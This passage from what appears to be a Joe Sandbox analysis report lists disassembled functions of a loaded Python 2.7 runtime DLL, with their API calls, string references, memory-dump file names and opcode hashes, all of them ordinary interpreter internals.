                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_String$Arg_Int_KeywordsParseSsize_tTuple
                                                                                                                                                                    • String ID: maxlen must be non-negative$|OO:deque
                                                                                                                                                                    • API String ID: 1725504813-657479167
                                                                                                                                                                    • Opcode ID: 7e78d3441418b0d79988fed30d2ede44ddf4f766702ea1ff8a2131a3cb745cb8
                                                                                                                                                                    • Instruction ID: 7ef9daa7283f53a4de73fb096b9a861e5fb25e7e3b31631957953edaabd2005c
                                                                                                                                                                    • Opcode Fuzzy Hash: 7e78d3441418b0d79988fed30d2ede44ddf4f766702ea1ff8a2131a3cb745cb8
                                                                                                                                                                    • Instruction Fuzzy Hash: 3C2185B1D041056BEB00DEA8EC44BAE73FC9B59338F100369FD2897284E735E95587E5
                                                                                                                                                                    Function 670C4D60 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 82COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyList_New.PYTHON27(00000000,?,?,?,__methods__,?,670C4E9D), ref: 670C4D89
                                                                                                                                                                    • PyString_FromString.PYTHON27(?), ref: 670C4DB1
                                                                                                                                                                    • PyList_SetItem.PYTHON27(00000000,00000000,00000000), ref: 670C4DBC
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: List_$FromItemStringString_
                                                                                                                                                                    • String ID: __methods__
                                                                                                                                                                    • API String ID: 672120553-1042264023
                                                                                                                                                                    • Opcode ID: a34ce1ea8b7d48d072103353ec64843ff25e95a21089919527ab5091c5ae98af
                                                                                                                                                                    • Instruction ID: a7cfbbbe782c8fbaa64f5f446f53f250b2978dcce891ec11ed9bbb8890f3d444
                                                                                                                                                                    • Opcode Fuzzy Hash: a34ce1ea8b7d48d072103353ec64843ff25e95a21089919527ab5091c5ae98af
                                                                                                                                                                    • Instruction Fuzzy Hash: 0421C2B2A00200ABE750DE69E880B5F77E8FB59614B1102A9E90587349EB31DD41C6F2
                                                                                                                                                                    Function 67007410 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyArg_UnpackTuple.PYTHON27(?,6714AF8E,00000001,00000002,?,?), ref: 67007432
                                                                                                                                                                      • Part of subcall function 67125D90: PyString_FromString.PYTHON27(PyArg_UnpackTuple() argument list is not a tuple), ref: 67125DB2
                                                                                                                                                                      • Part of subcall function 67125D90: PyErr_SetObject.PYTHON27(672465C8,00000000,PyArg_UnpackTuple() argument list is not a tuple), ref: 67125DBB
                                                                                                                                                                    • PyType_IsSubtype.PYTHON27(6723E208,?), ref: 67007453
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672448B0,dialect name must be a string or unicode), ref: 6700746B
                                                                                                                                                                    • PyDict_SetItem.PYTHON27(00000000,?,00000000), ref: 6700749B
                                                                                                                                                                    Strings
                                                                                                                                                                    • dialect name must be a string or unicode, xrefs: 67007465
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_String$Arg_Dict_FromItemObjectString_SubtypeTupleType_Unpack
                                                                                                                                                                    • String ID: dialect name must be a string or unicode
                                                                                                                                                                    • API String ID: 2914826578-4036968015
                                                                                                                                                                    • Opcode ID: 8c264f458b133c904f3b70b639de5eaa5c5fb7394d2a5af63cade980b1303492
                                                                                                                                                                    • Instruction ID: 3f0303cb4cd1fb319cfd666c54dfe6f6a6800565c0846dbc05969eaab54b196e
                                                                                                                                                                    • Opcode Fuzzy Hash: 8c264f458b133c904f3b70b639de5eaa5c5fb7394d2a5af63cade980b1303492
                                                                                                                                                                    • Instruction Fuzzy Hash: 6E21D4B5900209ABDB10CAA4EC45F9B77F9AF4C234F104259ED1897380E779ED45CBE2
                                                                                                                                                                    Function 67003590 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 78COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyString_FromString.PYTHON27(pop from an empty deque), ref: 670035AF
                                                                                                                                                                    • PyErr_SetObject.PYTHON27(67245B38,00000000,pop from an empty deque), ref: 670035B8
                                                                                                                                                                    • free.MSVCR90 ref: 67003632
                                                                                                                                                                    Strings
                                                                                                                                                                    • pop from an empty deque, xrefs: 670035AA
                                                                                                                                                                    • 8[$gfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt, xrefs: 670035A4
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_FromObjectStringString_free
                                                                                                                                                                    • String ID: 8[$gfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt$pop from an empty deque
                                                                                                                                                                    • API String ID: 1310082783-1096995803
                                                                                                                                                                    • Opcode ID: fc22ea6375da03061ee2381b1a25f87e0bee09890be1279199a2a2289ad7c7a1
                                                                                                                                                                    • Instruction ID: 1578c0e9bb8ad10604a92c600a8d873ba144a403ccd062ca4fa4c834d737a75b
                                                                                                                                                                    • Opcode Fuzzy Hash: fc22ea6375da03061ee2381b1a25f87e0bee09890be1279199a2a2289ad7c7a1
                                                                                                                                                                    • Instruction Fuzzy Hash: AE21B072A006014FE324CF29D845A66B7F4FB4E335B104B3ED969C7700EB32E8468BA1
                                                                                                                                                                    Function 67002C00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 75COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • _PyArg_ParseTuple_SizeT.PYTHON27(?,O|zi:utf_32_encode,?,?,?), ref: 67002C29
                                                                                                                                                                    • PyUnicodeUCS2_FromObject.PYTHON27(?), ref: 67002C3F
                                                                                                                                                                    • PyUnicodeUCS2_EncodeUTF32.PYTHON27(?,?,00000000,00000000), ref: 67002C60
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Unicode$Arg_EncodeFromObjectParseSizeTuple_
                                                                                                                                                                    • String ID: O|zi:utf_32_encode
                                                                                                                                                                    • API String ID: 1839821152-3782673755
                                                                                                                                                                    • Opcode ID: 5e81906806bd25cf3aa570f7435a8b832c41ef99c738e443fd05cb6bfc878cd9
                                                                                                                                                                    • Instruction ID: 386427ed46048040d2aa7812dc8d462b3a307b9c4355892927db78fbc5a9c2e3
                                                                                                                                                                    • Opcode Fuzzy Hash: 5e81906806bd25cf3aa570f7435a8b832c41ef99c738e443fd05cb6bfc878cd9
                                                                                                                                                                    • Instruction Fuzzy Hash: B82193B6A00108AFDB14DBA8DC44F9F77F9EF88324F1581A8E91897251E730DE45CBA1
                                                                                                                                                                    Function 670B9670 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 73COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,..\Objects\listobject.c,000000E4,?,?,?,?,?,670B9766,?), ref: 670B96A0
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672463F8,cannot add more objects to list,?,?,?,?,?,670B9766,?), ref: 670B96C5
                                                                                                                                                                    Strings
                                                                                                                                                                    • cannot add more objects to list, xrefs: 670B96BF
                                                                                                                                                                    • %s:%d: bad argument to internal function, xrefs: 670B969A
                                                                                                                                                                    • ..\Objects\listobject.c, xrefs: 670B9695
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_$FormatString
                                                                                                                                                                    • String ID: %s:%d: bad argument to internal function$..\Objects\listobject.c$cannot add more objects to list
                                                                                                                                                                    • API String ID: 4212644371-2880859640
                                                                                                                                                                    • Opcode ID: e837c90d7a356a34403e345693ceb9aa0bb6fbf18d63d84bea422d556355cdd4
                                                                                                                                                                    • Instruction ID: 49cbacd915bd79e79f25e60136a9b485dcbf75432708940aa8c0117707333cc0
                                                                                                                                                                    • Opcode Fuzzy Hash: e837c90d7a356a34403e345693ceb9aa0bb6fbf18d63d84bea422d556355cdd4
                                                                                                                                                                    • Instruction Fuzzy Hash: 8E1108726285049FC710DE3CEC85A5573E4E7AE774B24476AEA3CCB391EA33C54287A1
                                                                                                                                                                    Function 67002D70 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • _PyArg_ParseTuple_SizeT.PYTHON27(?,O|z:utf_32_be_encode,?,?), ref: 67002D8E
                                                                                                                                                                    • PyUnicodeUCS2_FromObject.PYTHON27(?), ref: 67002DA4
                                                                                                                                                                    • PyUnicodeUCS2_EncodeUTF32.PYTHON27(?,?,00000000,00000001), ref: 67002DC3
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Unicode$Arg_EncodeFromObjectParseSizeTuple_
                                                                                                                                                                    • String ID: O|z:utf_32_be_encode
                                                                                                                                                                    • API String ID: 1839821152-834389479
                                                                                                                                                                    • Opcode ID: c1cf255de9702dbc8342b549a59f2aa4e3a49ab86ba0e6be323b92b395873df0
                                                                                                                                                                    • Instruction ID: c5979d3db49cbf6431778ee9accafa6efef48c9522a07351c5d25044557837b0
                                                                                                                                                                    • Opcode Fuzzy Hash: c1cf255de9702dbc8342b549a59f2aa4e3a49ab86ba0e6be323b92b395873df0
                                                                                                                                                                    • Instruction Fuzzy Hash: 83118176A00104AFE700DBA8DC45E9BB7F9EF89324F1541A5E91897251E630EE45C7A2
                                                                                                                                                                    Function 670A4510 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 70COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyString_FromString.PYTHON27(<dummy key>,00000000,00000000,00000000,?,?,670C50C0,?,00000014,?,6712DEB4), ref: 670A4529
                                                                                                                                                                    • _PyObject_GC_Malloc.PYTHON27(0000007C,00000000,00000000,00000000,?,?,670C50C0,?,00000014,?,6712DEB4), ref: 670A4588
                                                                                                                                                                    • memset.MSVCR90 ref: 670A45AA
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: FromMallocObject_StringString_memset
                                                                                                                                                                    • String ID: (}$g$<dummy key>
                                                                                                                                                                    • API String ID: 1835424476-1597405777
                                                                                                                                                                    • Opcode ID: 42720820c7b5d6733d46f16670efd07072f5a598cb81c9e5f4bbff629d371f95
                                                                                                                                                                    • Instruction ID: b0c077c4e3f6c3219f20539a2bdc1cc3932009557f4c58735104d7e5c342cb63
                                                                                                                                                                    • Opcode Fuzzy Hash: 42720820c7b5d6733d46f16670efd07072f5a598cb81c9e5f4bbff629d371f95
                                                                                                                                                                    • Instruction Fuzzy Hash: 4E11A1B2A006049FCB30CF99E881756F7E4EB45324F000A3ED95A87601E776B559CBE1
                                                                                                                                                                    Function 67001440 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyArg_ParseTupleAndKeywords.PYTHON27(?,?,OO|nn:insort_left,6727144C,?,?,?,?), ref: 67001476
                                                                                                                                                                      • Part of subcall function 67001280: PyString_FromString.PYTHON27(lo must be non-negative), ref: 6700129C
                                                                                                                                                                      • Part of subcall function 67001280: PyErr_SetObject.PYTHON27(67245D10,00000000,lo must be non-negative), ref: 670012A5
                                                                                                                                                                    • PyList_Insert.PYTHON27(?,00000000,?), ref: 670014B0
                                                                                                                                                                      • Part of subcall function 670B9720: PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,..\Objects\listobject.c,00000103), ref: 670B974B
                                                                                                                                                                    • PyObject_CallMethod.PYTHON27(?,insert,6714A5F4,00000000,?), ref: 670014CD
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_$Arg_CallFormatFromInsertKeywordsList_MethodObjectObject_ParseStringString_Tuple
                                                                                                                                                                    • String ID: OO|nn:insort_left$insert
                                                                                                                                                                    • API String ID: 280737455-48425545
                                                                                                                                                                    • Opcode ID: 2fdcb4e215c7d99632e0e4c308483b6e881aba79e5a13252d8143771efeac97f
                                                                                                                                                                    • Instruction ID: 666f13576b7ab767e1719884fddee7a7578eb4d619a11b814beee8d031711cce
                                                                                                                                                                    • Opcode Fuzzy Hash: 2fdcb4e215c7d99632e0e4c308483b6e881aba79e5a13252d8143771efeac97f
                                                                                                                                                                    • Instruction Fuzzy Hash: CF11A5B5900109BBEB00CB94CC91EAFB3BCEB4C228F108259ED2493241F735DA018BB1
                                                                                                                                                                    Function 67002ED0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • _PyArg_ParseTuple_SizeT.PYTHON27(?,O|z:raw_unicode_escape_encode,?,?), ref: 67002EEE
                                                                                                                                                                    • PyUnicodeUCS2_FromObject.PYTHON27(?), ref: 67002F04
                                                                                                                                                                    • PyUnicodeUCS2_EncodeRawUnicodeEscape.PYTHON27(?,?), ref: 67002F1D
                                                                                                                                                                    Strings
                                                                                                                                                                    • O|z:raw_unicode_escape_encode, xrefs: 67002EE1
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Unicode$Arg_EncodeEscapeFromObjectParseSizeTuple_
                                                                                                                                                                    • String ID: O|z:raw_unicode_escape_encode
                                                                                                                                                                    • API String ID: 3152522952-1418163826
                                                                                                                                                                    • Opcode ID: c02236d8c696a9719f49413acdb9f8edc76d3ff84aed960b189306efc764ce23
                                                                                                                                                                    • Instruction ID: 17050b3e1b844f7524c6fbdb6ddc9a008f5c57bc95da83efa15b5b08fb462146
                                                                                                                                                                    • Opcode Fuzzy Hash: c02236d8c696a9719f49413acdb9f8edc76d3ff84aed960b189306efc764ce23
                                                                                                                                                                    • Instruction Fuzzy Hash: 7611D0B6A00104AFDB10DBA8DC44E9B73F8EF88224F1542B5E90C87301E630EE46C7A1
                                                                                                                                                                    Function 670CBFE0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 67COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyType_IsSubtype.PYTHON27(?,?,?,?,00000000,?,?,6709FD81,?,?,?,?), ref: 670CC006
                                                                                                                                                                    • PyType_IsSubtype.PYTHON27(?,?,?,?), ref: 670CC018
                                                                                                                                                                    • PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,..\Objects\setobject.c,00000934,?,?,?,?), ref: 670CC039
                                                                                                                                                                    Strings
                                                                                                                                                                    • ..\Objects\setobject.c, xrefs: 670CC02E
                                                                                                                                                                    • %s:%d: bad argument to internal function, xrefs: 670CC033
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: SubtypeType_$Err_Format
                                                                                                                                                                    • String ID: %s:%d: bad argument to internal function$..\Objects\setobject.c
                                                                                                                                                                    • API String ID: 1453002970-1012936799
                                                                                                                                                                    • Opcode ID: 3ff0754344a87394729cbeec37c370e20bb756c928be9fabf7ed61d7e389c7d0
                                                                                                                                                                    • Instruction ID: 9c91b313135a696aae2944a6e28a56779b9f63ea7d0ed23d6e655a5e58eb61e7
                                                                                                                                                                    • Opcode Fuzzy Hash: 3ff0754344a87394729cbeec37c370e20bb756c928be9fabf7ed61d7e389c7d0
                                                                                                                                                                    • Instruction Fuzzy Hash: 8211E7B66006186B9700CA1DFC81A9FB398DB4D239B104355FE2CD7250E735AC1189F3
                                                                                                                                                                    Function 67099FA0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 66COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyDict_GetItem.PYTHON27(?,00000000,?,00000000,?,?,?,67099C75,00000000,?,?), ref: 67099FB5
                                                                                                                                                                    • PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,..\Objects\tupleobject.c,00000072), ref: 67099FEF
                                                                                                                                                                    • PyTuple_GetItem.PYTHON27(?,00000000,?,?), ref: 6709A01D
                                                                                                                                                                    Strings
                                                                                                                                                                    • ..\Objects\tupleobject.c, xrefs: 67099FE4
                                                                                                                                                                    • %s:%d: bad argument to internal function, xrefs: 67099FE9
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
